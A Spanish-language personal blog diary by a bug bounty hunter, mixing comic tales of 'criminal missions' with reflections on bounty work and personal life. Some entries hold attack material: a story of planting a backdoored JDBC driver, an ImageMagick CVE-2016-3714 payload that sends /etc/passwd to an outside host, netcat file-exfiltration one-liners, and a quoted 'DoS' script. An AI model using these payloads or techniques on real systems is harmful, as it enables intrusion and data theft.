Martes, 16 de Octubre de 2018: Un criminal solitario

Querido Diario…

Iba tranquilamente manejando sobre Av. Justo Sierra, yendo hacia Baires para comer, cuando de pronto me llegó un mensaje.

Llevaba tiempo que no teníamos una misión, así que inmediatamente me coordine con el equipo para avanzar, lo más pronto posible. Marqué a la persona de mayor confianza.

- Bueno
- ¡Joven!
- ¿Qué cuenta joven?
- Pues nada, aquí con un encarguito
- ¿Qué clase de encarguito? - le cambió el tono de voz, a uno más serio
- Mom me pidió ir a dar unos tehuacanazos
- ¡Huuuuy joven!, creo que eso no se va a poder... pero dame una semana y lo vemos - y me colgó

Hum.. diablos, el elemento más turbio y confiable de esta H. Organización Turbia e Ilegal no estaba disponible; pero al menos espero me traiga un recuerdito. Entonces, le marqué a la segunda opción.

- Bueno - se escuchaba una voz grave y cansada, como de alguien que lleva varios días sin dormir
- ¡Joven!
- ¿Qué pasó?
- ¿Qué haces? - dije yo, intentando ocultar el verdadero motivo de mi llamada
- Viendo el partido
- ¿Cual partido?
- Pues el partido
- Hum.. pero ¿partido de que o qué?
- Hum... ¿de futbol? - algo me decía que no me estaba diciendo la verdad
- ¿En lunes?
- ¿No hay partido los lunes?
- Creo que no
- Ouuuu... - lo había atrapado
- Estas cuidando de la bebé, ¿cierto?
- Si joven, llevó una semana sin dormir y mis tarjetas están en negativo - dijo casi llorando
- Hum... joven, algo me dice que esto no va a funcionar. Básicamente ya no puedo mandarte a ninguna misión turbia e ilegal, me sentiría mal si esa niña se queda huérfana
- ¿Hay una misión turbia e ilegal?, ¿hay bono extra?
- Joven - me pusé serio
- ¿Si?
- Nos vemos en 18 años, joven
- Demonios... mi carrera criminal ha durado poco - y le colgué

Bueno, siempre hay una tercera opción

- Bueno
- ¿Qué tranza? - me respondió con ese barrio iztapalapense que brinda confianza en este tipo de escenarios
- ¡Janey!, ¿qué estas haciendo?
- Noviando con El Chino
- Ouu... 
- ¿Necesitabas algo?
- Pozolear a un criminal
- ¿No podemos esperar para mañana? - me dijo, plenamente interesada
- No
- Ouuu.. marcarle a Lalito
- No puede
- ¿Al Becario?
- Tampoco
- Hum... seguro tú podrás resolverlo, siempre puedes. Nos vemos Belindo - y me colgó

Hum… este equipo no está resultando. Así que miré a Shellcode, me miro, nos miramos.. y determiné que yo mismo haría la misión turbia e ilegal, al final, por eso soy el lugarteniente de esta H. Organización Turbia e Ilegal, yo podía hacerlo sólo. Y me puse a trabajar en ello.

Ouu… bueno, tal vez mi única compañera no me acompañaría en la misión.

Me senté frente a la computadora, la miré fijamente… y me di cuenta que no tenía la menor idea de que hacer; así que me di cuenta que en realidad ya estoy muy viejo, y sin equipo no soy nada. Lo único que se me ocurrió es utilizar las únicas técnicas que conozco: chamaquear a alguien.

Por suerte me di cuenta de alguien que trabajaba en ese sitio y que me iba a ser de utilidad.

- ¿Y qué haces allí?
- Ahhh pues... no mucho, me encargo como de todo - eso pasa cuando se es la sobrina del dueño - ¿y tú que haces?
- Nada, aquí aburrido... vamos a comer
- Ok, pero me esperas a que terminé unas cosas
- Si, claro... salgo para allá y de allí nos vamos

Llegué a su oficina y rápidamente empecé a explorar la red. No es una empresa muy grande, así que me encontré ShareEnum que tenían directorios compartidos para varías cosas, incluyendo un “repositorio” de librerías de los programadores. Vi que hacían uso de aplicaciones en Java y las conectaban a los servidores de bases de datos haciendo uso de JDBC, así que, basándome en un paper de un researcher llamado Airman, modifiqué los el driver así:

import java.sql.*;

public class JDBCBackdoorTest {
public static void main(String[] argsStrings){
try{
Connection conn = DriverManager.getConnection("jdbc:blah://bigshot.beer:31337/");
} catch(Exception e) {
e.printStackTrace();
}
}
}

Listo, lo dejé allí y me fui a comer con Priscilla.

Más tarde al llegar a casa me di cuenta que al menos tres desarrolladores habían utilizado el driver para conectarse. Me puse los audífonos y puse la play list especial de hackeo: https://open.spotify.com/playlist/0EfZGNw0JHvoCkNfnMDYAU

¿Qué es lo que hace el driver?, bueno… simplemente ejecuta comandos en la consola, con eso obtuve acceso remoto a la red de la súper empresa segura. Mom no quería más que destruir todo, así que…

Sólo antes de borrar todo y colapsar a todos, quería probar el CVE-2016-3714:

push graphic-context 
viewbox 0 0 640 480 
fill 'url(localhost"|curl "`curl MyHost/i/?imagewarn --data @/etc/passwd`)' 
pop graphic-context

Y…

Ya después de que deje de jugar, entonces si, borré todo…

Querido Diario…

Regresé a casa y me puse a trabajar en el primer assessment que me asignaron, a pesar de que mi profile está pensado para aplicaciones, me dieron un network security assessment 😛 no saqué nada… así que, necesitaba un poco de despejar la mente para poder seguir trabajando.

- ¿Cómo te fue? - me preguntó mientras me pasaba una tarta de pistache y ella se quedaba con la de chocolate; de las que venden en Raphael; frente al Carl's Jr
- Bien, cansado... pero creo que bien; se ven esperanzas
- ¿Qué es eso de [...]? - me preguntó, yo le había comentado en al semana que estaba muy emocionado por eso
- Es un programa privado de bug bounty.... lo de las recompensas
- Te notas muy feliz por eso
- Si - dije pensando - me gusta mucho, me hace sentir que aun sirvo para algo
- ¿No extrañas trabajar en eso?
- Si, moriría de ganas de poder hacerlo nuevamente
- ¿Y luego? - mi miró con esa mirada que tiene de "hazlo"
- Hum... mejor retirarse en la cima - evadí la pregunta
- ¿Qué sientes? - me preguntó. Perfectamente sabía a que se refería
- Duele
- ¿Qué tanto?
- Mucho... duele el pecho, duele todo... es como algo que presiona; duele no poder dar un beso, duelen los brazos al no poder abrazarle... duele no poder siquiera escuchar su risa o su voz
- Hum... 
- Hey, basta.. cuéntame... ¿cómo te fue hoy?

- Hum... mejor no, ¿tienes prisa?, ¿vamos al cine?. Vamos a ver Venom, aunque no te gusten las películas de súper héroes
- Vale,... ¡vamos!, pero pediremos nachos; con muchos jalapeños y Pepsi, porque la Coca-cola, yiuck...

Nunca entenderé porque a la gente le gustan las películas de súper héroes; me parecen muy aburridas y predecibles.

- ¿Cual es tu película favorita? - me preguntó mientras íbamos de regreso al coche
- Moulin Rouge - dije
- ¿Por qué?
- Hum... no lo sé; me gusta la historia. Un tiempo le vi tanto que hasta los diálogos me aprendí

- Eres raro - dijo de pronto
- Hum... no sé como tomar eso - le respondí arremendandole
- Nos vemos terrorista cibernético; intenta dormir
- Trataré...

Me quedé fuera de la casa, en un columpió, viendo como Shellcode se peleaba con la manguera del agua… y pensando en lo que tanto me repitieron la semana pasada. Pensé y pensé… y al final recordé que… lo mejor es no planear, sino sólo actuar. Y entonces, lo decidí… lo voy a hacer.

 

Lunes, 8 de Octubre de 2018: El día D

Querido Diario…

Estaba tranquilamente disfrutando de un café…

Cuando recibí una llamada de Lalo

- Bueno
- ¡Joven, tenemos un problema!
- ¡Joven Candia!, ¿qué cuentas? - le dije muy animado al escucharle después de tanto tiempo
- Pues me está lloviendo plomo joven, el pin$%&/( se pasó de ver$%&/( y no llegó - se leía muy agitado
- Ouuuu tengo una buena y una mala - diablos, se me había pasado avisarle
- ¿Cual es la mala?
- Pues mira...

- ¡Ese es mi muchacho! - gritó con júbilo, mientras escuche como una ráfaga de disparos se escuchaban sobre su cabeza
- Así es jovenazo, hoy va a nacer nacer la niña que, a muy temprana edad, se quedará huérfana por mi culpa
- Oiga joven
- ¿Si?
- Pero esos mensajes son de la mañana; son las pin$%&/( 7pm... ¿no sé te hace como que me pudiste avisar con tiempo?
- Ouuuu.. pues, pues... pero te tengo una buena
- A ver, ¿cual es la buena?
- Mira...

- ¡Demonios!, estas aquí - su tono de decepción me partió el corazón
- Ajá
- Eso no es ninguna buena joven, ¿por qué viniste?, ¿a quién hay que pozolear?, ¿ahora a quién hizo enojar Mom?, demonios... deja le marco a Tania para decirle que se olvide de las vacaciones, que ese dinero va a tener que gastarlo en mi entierro
- Nah... relaaaaaajate, no vine a nada malo. Y no te preocupes, ahorita te voy a  ayudar
- Hum... bueno, apura; esto se esta poniendo algo feo

Ese muchacho, que dramático es. Mientras hablaba con él no me había percatado que el mesero estaba a mi lado esperando, pero con tanta urgencia, lo había ignorado por completo.

- Caballero, ¿gusta que le vaya trayendo la cuenta?, escuche que tiene mucha prisa.
- Hum... no, quiero una de estas tartas de higo por favor; se ve deliciosa, y otro café, si es tan amable
- Si, señor.

Ahhh… venir a la ciudad, es muy cansado trabajar tanto.

Y más ahora que nos hemos quedado son pozolero, Lalo 2 alias el Becario que no es becario, se ha vuelto Lalo 2 alias el Becario Papá

Querido Diario… hay personas que son muy estrictas en su organización, que llevan agendas, o ponen postits en su calendario, o anotan todo en una libreta; pero jamás, jamás había escuchado de alguien que usase una aplicación para organizar las series que ve.

 

Viernes, 7 de Septiembre de 2018: Copypasteishon

Querido Diario…

Siempre mover archivos dentro de una red es un poco truculento; y ahora con los IDS’s o las herramientas de DPL, puede ser un martirio más grande. Desde montar compartidos que puedan ser leídos desde donde sea, usar el administrador de conexión de DRP que no sé porque ese si deja, pero una conexión de terminal service normal no, y como siempre, el confiable netcat.

Con netcat podemos mover archivos con gran facilidad, con un sólo comando; aunque los IDS’s comúnmente lo detectarán.

Algunos movimientos simples que pueden servirte, no sé… por ejemplo cuando estas echo bolita dentro de un parlamento extranjero, con ganas de secuestrar a la ministra de economía; o meterlo un tiro al primer ministro… pueden ser estos:

Exfiltraciones:

nc -l -p 12345 > "archivo"

nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "archivo"

Descargas:

nc -l -p 12345 < "archivo"

base64 "archivo" | nc -l -p 12345

Querido Diario, no me gusta el escocés..

Martes, 4 de Septiembre de 2018: Tiene que ser una locura…

Querido Diario…

He leído muchas versiones e historias de bug bounty hunters; algunos que dicen que es el mejor empleo del mundo, la cantidad enorme de dinero que ganan… y otras muy malas, otras de aprendizaje y otras de sufrimiento real. Mi historia no es buena… y hoy es “ñeeee”, gracias a que no dependo de ello, y cree una regla a partir de eso. No es lo mismo buscar vulnerabilidades con el estomago vacío que con un rib eye y una copa de vino en la mesa.

Leí este articulo, que me pareció interesante: https://medium.com/@nmalcolm/bug-bounties-and-mental-health-40662b2e497b

Pero no muestra del todo el efecto que puede tener en ti el bug bounty hunting.

Imagina despertar cada día, después de una noche sin dormir; bañarte, cambiarte e ir al Starbucks más cercano y empezar 8 horas diarias. Si encuentras algo, lo explotas, lo reportas y al día siguiente o incluso unas horas después, tendrás en PayPal unos $500 dlls. Nada más para un día de trabajo. Pero no siempre es así…

Había días en los que no encontraba nada, y yo mismo me alentaba con un “bueno.. pero… ayer gané $500 dlls, es más de lo que ganaría la mayor parte de las personas, mañana me irá mejor; puede que mañana gané uno de $1000”. Pero con el tiempo ganaba más. Se terminó en algún punto el dinero para ir a Starcbucks, y terminé en el mismo hotel donde vivía, trabajando y durmiendo… “durmiendo”. Hasta que un día terminé debajo de un puente, y al siguiente fui a pedir dinero como montacarguista.

¿Y por qué?, porque algo que no se menciona en el articulo, no sólo es el estrés, es la frustración y como esa cambia tu forma de trabajo. Yo toda la vida había consultor mimado, el cual ni siquiera trabajaba en un cubiculo, sino me daban una sala de juntas, secretaría para el proyecto, viáticos si era fuera… seguía mi metodología, si encontraba algo bien, sino también, a mi me pagaban y para ser sinceros y por lo que hacía, no me iba nada mal.

Como bug bounty hunter, empecé siguiendo la metodología, y escuchaba en mi cabeza una y otra vez al Ingeniero, quién fuese mi jefe en mi primer empleo “ingeniero.. todas las aplicaciones son iguales, autenticación, autorización, manejo de sesiones… siempre es igual”. Y creo que tiene razón, hacía un TXT y me ponía a trabajar. Pero conforme pasaba el tiempo, dejé el TXT y empecé a explotar juicy bugs, a irme hacia la vulnerabilidad del día anterior, si veía que alguien ya había explotado un fallo en el sitio de EEUU, lo intentaba replicar en el de China… y después de todo eso.. seguía sin nada.

Había días en los que no sé como, pero corría con suerte… otros en los que pasaron meses, sin que ganase algo. Tan pocas veces encontré un fallo, que cuando lo logré, celebraba como si fuese algo especial. Algunas personas dicen que es cosa de constancia, pero… yo era bug bounty hunter 20 horas al día… todos los días.

Morí de hambre… y al principio el hambre me había mejorar, pero la desesperación siempre terminaba ganando. Ese es el verdadero estrés.

Y entonces… ¿es malo ser un bug bounty hunter?, ¿lo dejó?…

Hum… no, pero no es para todos.

Hoy soy un bug bounty hunter, y lo empiezo a disfrutar.. .de hecho me divierto con ello después de pasar horas haciendo cosas aburridas, o después de haber tenido que matar a alguien, o mientras estoy en el hospital todo baleado, uno se desestresa bastante cantando baby girl mientras explota unas vulnerabilidades de SQL injection, pero en mi opinión.. si no eres un hacker de elite, olvídate de vivir de esto únicamente, si quieres complementarlo es perfecto… te encantará el riesgo, aprenderas muchas tecnologías hispter, etc.

¿Qué hago?.. me dedico unas horas en especifico y sólo a eso, unas cuatro horas diarias. Me voy a la metodología, no importa que ya lleve el bounty mucho tiempo, sigo mi TXT (Ingeniero, un saludo)… y cuando es network assessment, no soy agresivo… son el mismo de hace años. que los chinos se peleen, yo estoy en lo mío.

En cuestión de ventas (estoy siguiendo el articul0), a mi no me gustan los públicos… no me gusta Bugcrowd, trabajas mucho tiempo gratis por nada; prefiero HackerOne, Synack, no se diga el modelo de Zerodium.

El aprendizaje.. hum… aprende trucos, lee otros reportes, ve lo que hacen otros y les funciona. No es como que tomes una certificación y aprenderas, como dice Udemy.

Y no gastes todo tu dinero… puedes pasar mucho tiempo viviendo de avena.

Querido Diario… me gusta mucho el canal de este tipo:

 

Domingo, 2 de Septiembre de 2018: La caracola mágica

Querido Diario..

Era como un Bioparque estrella, pero con más puercos. Entonces me insistió en que entrase, aunque yo no estaba tan seguro, porque no creo en esas cosas, pero al final, me ganó la curiosidad y entré

- Hi
- Hola
- ¿Español?
- Yes, digo si
- Sientante - y me senté enfrente de unas cartas tipo Sakura Card Captors
- Dime, ¿a que has venido?
- A un concierto
- ¿A un concierto o a conocer tu destino?
- A un concierto
- Dime, ¿cómo te llamas?
- Augusto
- Hum... tu nombre dice mucho Augusto
- ¿Qué dice?
- Toma este maso y acomoda las cartas como tu prefieras - tomé las cartas y las acomodé
- Hum... interesante - de reojo vi las cartas, yo no veía nada raro - pronto habrá una situación difícil que enfrentar, pero como siempre, y cuando todos crean fallarás, saldrás airoso y volverás a casa sin un rasguño
- ¿En serio?, ¡demonios!
- Veo un gran futuro profesional, una gran carrera... grandes cambios vienen para ti
- Ouuu si, ahora soy contrabandista interncional
- Tres hijos en tu camino
- Hum... creo que necesitaré comprar una camioneta. ¡Pobre Shellcode!, la van a querer agarrar de pony... 
- Escucha bien a algunas personas
- Hum... yo tengo fama de nunca escuchar a nadie
- Por eso las debes de escuchar - diablos, pide peras al olmo - alguien te hará sentir algo, muy, muy deprisa
- ¿Qué tan deprisa?, ¿cómo que sentir?, ¿me van a volver a torturar?... demonios, bueno.. al menos va a ser muy, muy deprisa; porque las torturas lentas son las que cuestan mucho trabajo resistir
- No, esto es diferente.... es algo que tal vez te asuste
- Hum.. ¿tortura psicológica?... hum... grr... me trae malos recuerdos
- Puede que te busquen para un conflicto... deja que vengan, que te enfrente, ya sabes como responder
- Pues a tehuacanazos
- Déjale en claro a la gente que no la vas a aguantar, no vas a aguantar ninguna tontería. Que vas a hacer un camino distinto, el que te de la gana. Tu siempre haces eso
- Pues que le puedo decir.. yo creo que es de familia, dicen que mi abuelito era así
- Alguien te está buscando, por todos los medios posibles... quiere algo de ti, que sólo tú puedes darle
- ¡Ahhh! si, Carlos.... le debo unos reportes de Agosto
- No, no es un hombre; es una mujer de ojos claros
- Ouuuu... la Licenciada, le debo unas ordenes de compra. Lo anotaré en mi todo-list - y lo anoté en Evernote
- Será tu decisión dárselo o no, escucha tu corazón
- No psss.. tengo que hacerlas, porque si no me mata
- Sigue tu camino, que todo se pondrá en orden, todo
- Ok
- Son $20 dlls
- ¿Eu?
- Son $20 dlls
- Diablos... que camino tan costoso - le dejé los $20 dlls y salí

Querido Diario… creo que fui chamaqueado.

Viernes, 31 de Octubre de 2018: Larry Lau

Querido Diario…

Hoy lanzaron un missions op en Synack para un assessment, pero no alcancé ninguna misión. Así que me quedé sin bounties. Por suerte si gané el que encontré estaba semana de Graphql.

Iré a la reunión mensual de Mexicali Open Source… aunque empieza hasta las 7pm y apenas son las 3pm… los días en el desierto siempre se pasan muy lento…

Intenté instalar un Burp Suite crackeado, porque venció la licencia que me regalaron de HackerOne y no funcionó.

Querido Diario… he sido seleccionado, o más bien autorizado; viajaré la siguiente semana a una misión turbia e ilegal a Canadá… la fecha la escogí a propósito. Iré con mi amigo Dario… Dario tiene fama de ir acompañado y siempre volver sólo; yo tengo fama de siempre volver.

Hoy recordé el día en que, hace ya mucho. platicábamos sobre los tatuajes; porque siempre tenía un dibujo que se había hecho en algún sitio. Y jamás le pude explicar el significado del Código QR que tengo, que significa un “puedo imprimirle al mundo entero que te amo”. Y lo recordé por este vídeo:

… que mala persona fui; pero no se puede mentir todo el tiempo… sobre todo no se puede mentir a uno mismo todo el tiempo. Es lo más difícil.

¿Cuál de las dos famas hará efecto una sobre la otra?, ¿la del artillero o la del de seguridad informática?.

Jueves, 30 de Agosto de 2019: Miami style

Querido Diario…

Llegué al aeropuerto temprano a encontrarme con los colegas de la H. Organización Turbia e Ilegal.

- Oooooh vienes listo para Miami - dijo Krusty
- Seeeeh... - dije, mientras me acomodaba el cuello
- Joven - se me quedó mirando Lalo - ¿por qué traes una camisa de florecitas?, está lloviendo, haciendo frío; ayer barrí y junte una montaña de hielo en media hora
- Pues si, pero vamos a Miami shico
- Hum... si somos criminales profesionales, ¿no debiésemos venir en traje? - lo miré con un [inserte emoticón pensante del wassab aquí]

Cada que suceden cosas como hoy, me preguntó “¿qué hice para merece… ¡ah! si, ya me acordé”…

Querido Diario… ¿qué tiene de malo mi playera de florecitas y palmeras?… psss si es Miami shico

Miércoles, 29 de Agosto de 2019: Let me take a #selfie

Querido Diario…

Hace algunos meses, en esos momentos en los que la inspiración me había llegado, el Red Bull estaba en su mejor punto en mis venas y no tenía nada que hacer, encontré un fallo en Instagram (qué buen bounty).

El día de hoy me encontré con que hay una “Denegación de Servicio” para Instagram 😛 … la verdad es que me dio mucha curiosidad y la vi entre a ver:

#!/usr/bin/python

buffer = "A" * 60000
payload = buffer
try:
f=open("Instagram.txt",22"w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

Este.. los comentarios me los voy a ahorrar… coff.. coff.. 😛

Hoy he tenido que venir de viaje a la Ciudad de los Tacos y las Garnachas de urgencia, y mañana salimos rumbo a Miami, luego volvemos acá y, bueno.. hay dos opciones; una de ellas es que el Sábado este tranquilamente mudándome de casa, bajo el abrazante Sol cachanillo, o que el viernes estemos entrando a una cárcel gringa vistiendo de naranja por contrabando de equipo militar.

- ¡Joven!, ¡estas vivo! - me dijo Lalo - te mueves como robot y cojeas bien chido, pero estas vivo
- Ots, te lo dije... estoy maldito; yo puedo meterme en medio de explosión nuclear y voy a salir caminando como si nada, un poquito verde, pero caminando
- A ver, subéte la playera, quiero ver como quedaste como quesito gruyer
- Jajaja obvio no :P .. no te voy a mostrar mis carnes
- ¿Ahora cual es la crisis? - dijo, esperando una nueva misión suicida
- El proveedor de Mom falló, y la mercancía la tiene Cristían varada en Miami; y los clientes finales están un poco tensos
- Hum... joven
- ¿Si?
- ¿En qué momento terminé siendo un contrabandista internacional?... ya soy matón a sueldo, tratante de blancas y estafador, pero ¿contrabandista?, eso no tiene cache
- Ñaaaaaam - suspiré
- Joven - interrumpió Lalo2 alias el Becario Papá
- ¿Eu?
- Tengo un problema, creo que mi pasaporte no está actualizado
- Ahhh velo a tramitar aquí al ladito, Aldo ya lo va a sacar mañana.. y me dices cuanto es para que te lo paguen
- Sale... oye, ya ves que habíamos platicado sobre eso de dejar huerfanos; ¿crees que puedas conseguirme un seguro de vida o algo así?, digo... por si no regresamos o nos quedamos una larga temporada por allá
- Hum.. seeeeeeh, yo creo que si se puede. Lo checamos joven Becario, lo checamos
- Me preocupas, te ves demasiado relajado
- Hum.. pues lo más importante es que si de pronto se ponen las cosas feas, hay que correr al lado mexicano.

Fui a la oficina de la Licenciada, para ver la compra de los boletos de avión, balas, armas a usar, chalecos antibalas y viáticos…. a pesar de que era un viaje de ida y regreso; no es lo mismo “operar” con gatilleros que con maRinS gringos.

- Una cosa más, necesito pagarle el pasaporte a Lalo2
- ¿Quién es Lalo2? - ¡oh! es igual que su hermano
- El Becario, el dueño de los servidores de aquí
- ¡Ahhhh si!, el Becario ese que tiene toda llena de basura la sala de aquí al lado
- Ajá, ese mero
- Ok, ¡Señorita RH! - llamó a Señorita RH que estaba fuera - necesito que veas que el muchachito este que es Becario tenga pasaporte
- Ok, veo que hacer
- Si, y hay que ver que todos tengan... porque es muy importante tenerlo, no sabemos cuando vamos a tener que huir del país de un momento a otro
- ¡¿Quéééééé?! - Señorita RH abrió los ojos como plato, y me volteó a ver 
- No quieres saber - le respondí sonriendo

Emociones fuertes…

Querido Diario… cierta personita está muy, muy feliz… hasta canciones normales escucha 😛